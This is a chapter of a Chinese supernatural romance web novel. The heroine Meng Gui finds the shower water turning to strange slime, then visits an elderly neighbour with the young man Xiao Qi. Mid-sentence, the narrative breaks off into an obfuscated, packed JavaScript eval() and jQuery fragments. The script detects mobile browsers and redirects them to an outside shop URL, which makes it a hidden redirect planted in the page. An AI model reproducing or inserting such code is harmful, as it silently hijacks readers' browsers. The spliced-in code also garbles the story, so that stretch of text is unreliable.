18. 水流

作品:《怪物新郎

    这次是在浴室,彼时她又调色调得头晕眼花,想洗去满身的疲惫。


    温热的水流从花洒中倾泻而下,落在瓷砖地面上,发出不规律的“哗啦”声,水汽很快氤氲开来,模糊了淋浴间的玻璃隔断,她的视野也跟着变得模糊失真。


    正当她伸手去取浴花的时候…


    “滴答。”


    一道极不和谐的声音混入水声,带着熟悉的粘稠质感。


    孟瑰手上的动作顿住。


    那声音不像是从淋浴花洒里传出,更像是从头顶的天花板传来,她略略思索片刻,关掉花洒。


    浴室回归寂静,静得仿佛连她的呼吸也消失了一般。


    孟瑰抬头,狐疑地望向天花板,白色的防水涂层面板上凝结着水珠,透明反光,看起来毫无异样。


    她的手指再次搭上淋浴器开关。


    “啪。”


    有东西砸中她的肩膀。


    那东西带着浓重的黏腻感,顺她光裸的皮肤缓慢下滑,冰凉得不像是淋浴器内烧热的水,反而像某种果冻状的胶质物体,晶莹剔透。


    这是什么东西!怎么会从她家的天花板上落下来!


    孟瑰战栗不已,后背泛起一片细小的疙瘩,她低低地挤出一道惊呼,慌忙拧开花洒,用热水冲洗后背,但是这次,花洒喷出的水也出现了变化。


    “哗哗啦…”


    花洒里的水不再清爽地滴落,而是像透明糖浆一样粘稠地拉丝,一滩一滩地落,那些拉长的细线在半空中连绵不断,于灯光下透出一股极浅的光泽。


    孟瑰凝望着这诡异的景象,屏住呼吸,伸手去碰那些粘液,搓动手指。


    很滑,具有一定粘性,似乎和最开始落到她肩膀上的是一样东西。


    与其同时,她也感受到“水流”在皮肤表面冲刷的异样触感。


    那些“水珠”不再像普通水珠一样迅速滑落,而似乎拥有生命一般,带着超出同等体积水珠的重量,无限眷恋着她的肌肤,它们顺着脖颈的曲线缓慢滑落,在锁骨处积聚成一小滩后,才恋恋不舍地溢出,留下一串闪亮的痕迹。


    淋浴间的玻璃隔断上也布满了这种“水流”,它们在玻璃表面“爬行”,留下蜿蜒混乱的轨迹,彼此汇聚成更大的液滴后,便会“啪嗒啪嗒”地向地面砸去。


    这到底是什么东西!


    “肖…肖颀!”孟瑰害怕极了,慌张地求助喊道,声音在水汽氤氲的浴室里显得格外脆弱。


    没有人回应她,浴室里只有粘液落地的“啪嗒”声。


    孟瑰死死咬住下唇,浴室内的水汽潮湿,让她有一种溺水的窒息感,她觉得自己仿佛掉进了一个怪物的巢穴,每一缕空气都粘稠得作呕,胃部一阵痉挛地痛。


    她深呼吸,手掌握住玻璃门的金属把手上,蓄起全身力气下按。


    “砰。”


    玻璃门被猛地推开,孟瑰踉跄着跨出淋浴间,在地面上留下一串湿漉漉的脚印,她一把扯过挂在门后的浴巾,裹住身体前,随后伸手去拧淋浴间的门锁。


    “咔哒。”


    门没有开。


    “不可能。”孟瑰的心跳骤然停滞,她不敢去看身后,咬牙,再次尝试拧动门锁。


    依旧没有开。


    “怎么会。”孟瑰不死心地有用力拉拽,但门板只是发出沉闷的“砰砰”声,纹丝不动。


    “肖颀,门打不开了。”她拍着门,声音里带着哭腔。


    “肖颀,可以帮忙开一下门吗!”


    “肖颀!”


    门外没有任何回应,仿佛她的声音已经被浴室内粘稠的液体稀释掉,并未传进少年的耳中。


    身后的“滴答”声不断,孟瑰看着拧红的掌心,还有粘稠液体在她的皮肤上留下的诡异荧光,绝望地用肩膀抵住门板,心底被一股前所未有的疲惫填满。


    她被困在浴室里,身边到处都是那种奇怪的未知粘液,她害怕这些东西。


    要怎么办啊…她不会要被困死在这里了吧…


    “咔哒。”


    就在这时,倚靠的门板突然转动,一股新鲜干爽的空气冲进她的鼻腔,孟瑰浑身一怔,猛地抬头。


    是肖颀修长的身影。


    “肖颀!你终于来了!”孟瑰几乎是扑出去的。


    带着水汽的身体撞进少年的怀中,少年明显的僵了一瞬,喉结不自觉地滚动了一下,轻轻地环住那团潮湿。


    “怎么了?”肖颀的声音通过胸腔的震动,顺着两人相贴的肌肤传来,充满哄慰的意思。


    孟瑰这才意识到自己只裹着一条浴巾,湿漉漉的肩膀正紧贴着肖颀的白色衬衫,那衬衫吸饱了她身上的水,洇出一片半透的痕迹。


    她明白此刻应该立即退开,避免亲密举动的出现,但她又无比清楚,自己此刻是有多么贪恋这个怀抱。


    就像一位溺水者抓住最后救命的浮木。


    “浴室的门突然打不开了…”她的声音闷在他的怀中:“淋浴的隔断里有好多不知名的粘液。”


    “粘液?”孟瑰听到肖颀疑惑地发问,环抱她的手臂微微收紧。


    她探出头,手指指向玻璃隔断:“就在里面,那些粘液很奇怪。”


    肖颀的目光越过她的肩膀,向散了一半水雾的浴室望去:“在哪里,我没有看到。”


    “就在这…”孟瑰打算给肖颀指出一个详细的位置,于是回头,声音却在目光聚焦的同时突然顿住。


    视野里,所有的异常现象都消失不见了。


    水流重新变得清爽干净,玻璃上的粘液痕迹消失得无影无踪,就连她皮肤上闪着微光的液体也像从未存一样地蒸发不见了。


    只有舌尖上残留的腥甜,让孟瑰隐隐觉得,刚才的一切并非幻觉。


    …


    外出看望儿子的王婆婆回来了,为了感谢孟瑰和肖颀在她离家期间帮忙照看院子,王婆婆特意选了个阳光明媚的中午,邀请他们来家中做客。


    “快跑!快跑!快跑!”


    孟瑰拎着鸟笼走在前面,笼中的鹦鹉随着鸟笼的晃动频率,扑着翅膀叫喊着快跑。


    “你倒是聪明,知道自己要回家了,让我快点跑。”孟瑰饶有兴致地看着小家伙。


    肖颀跟在后面,手里提着两个精致的盒子,他穿了件浅色的亚麻衬衫,衬衫的袖口卷到手肘处,露出线条分明的小臂肌肉,阳光透过树叶的缝隙洒在他的面庞,将他的瞳孔照得更为透亮。


    “哎呦,小瑰,一段时间不见,脸怎么看起来这么白?”王婆婆接过鸟笼,还没来得及打量后面的肖颀,首先便注意到孟瑰的青白脸。


    孟瑰揉了揉太阳穴,笑着摇头:“谢谢婆婆的关心,我没什么事,就是会展的收稿时间将近,我有些忙”


    王婆婆将信将疑地点了点头,拍了拍孟瑰的手背,这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073927|195041||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    才转向肖颀,笑呵呵地望着他。


    见王婆婆看向自己,肖颀忙将手里的盒子举起来,递给王婆婆:“婆婆好,我是肖颀,这是给您带的两盒点心。”他的声音很温和,嘴角的弧度也弯得恰到好处。


    “哎呀,都是熟人,来吃饭还带什么礼物…”王婆婆对肖颀笑道,招手让他们进屋坐下:“锅里的银耳汤刚煮好,你们先喝着。”


    望着王婆婆佝偻的脊背,孟瑰在心底叹出一口气。


    只有她自己知道,自从连续听到奇怪的声响之后,她的睡眠质量直线下降,每到深夜,总是幻觉有东西贴上她的身体,黏黏腻腻,比潮湿的雨季还要难捱。


    后面肖颀帮她请了心理医生,开了些安眠药和镇定剂,药物让她不再出现那些幻觉,但是睡眠中的梦境却开始变得稀奇古怪起来。


    孟瑰不大记得梦境里的内容,每次回想梦境,只会让她头脑恍惚,在潜意识里涌现隐秘的愉悦感。


    感觉到耳尖有些烧热,孟瑰慌忙低头喝了口银耳汤,起身走到王婆婆的身边,尝试通过忙碌让自己停止回想:“婆婆,有什么活吗,我来打下手。”


    坐在客厅中的肖颀也跟着过来,提出一起帮忙,王婆婆挑了些轻便的事让两个人干,几个人有一搭没一搭地说着话。


    “小伙子人长得不错,看起来眼熟,是哪里人?”王婆婆随意问。


    听到这个问题,孟瑰的心头一紧,她想起自己第一次在王婆婆这里帮肖颀打探情况,故意掩盖了肖颀的部分身世。


    他不知道她在王婆婆面前为她编造身世,要是说漏了嘴…


    孟瑰不敢想象那个场景该有多尴尬。


    “他是咱们加城本地人。”孟瑰抢先替肖颀回答:“父母很早就过世了,身边只有一门远房亲戚曾经住过这附近,我和他是在一个画廊认识的。”


    “他在艺术方面很有天赋,有的时候我不如他,需要请教他来帮忙…”说这些话时,孟瑰能够感受到肖颀的目光,那炽热的目光落在她的背上,专注得仿佛要将她的衣服灼出一个洞来。


    孟瑰被这异样的目光惹出一身细汗,她觉得肖颀已经猜出她在扯谎,怕他因此多想,准备先给予一个安抚的笑意。


    不料,视线方挪到肖颀的脸上,孟瑰便被那少年的目光吓到,呼吸一窒。


    记忆里,肖颀的目光从来都是温和的,带着某种吸引人的稚气和小心翼翼的克制,总会激发出她的怜爱,心疼他在流浪时吃过的苦。


    但是此刻,那目光完全不同于平日的纯真,而是带着赤裸的占有欲,从她的眉骨逡巡到嘴唇,肆无忌惮地扫视着裸露在外的每一片肌肤。


    孟瑰收敛笑意,咽下一口唾沫,觉得发根在发麻。


    他这是生气了吗?她在心里想,好似又不像。


    就这样对视着,肖颀忽然收了他满身张狂,笑容变回原来干净的样子,转身出去了。


    孟瑰被他搞得一头雾水。


    另一边,埋头挑菜的王婆婆没有发现这边的纷乱,只顾着揶揄调侃:“小瑰,我是在问他,你帮着回答干什么。”


    “哪有。”孟瑰烫着脸反驳:“他这人比较内向,有的时候不好意思说话,我就替他讲一讲。”


    “哎,他叫啥来着…肖颀是吗…”王婆婆抬头看了孟瑰一眼,打算再说些打趣的话,目光却忽地一变,像是突然想起了什么,话音断成两截。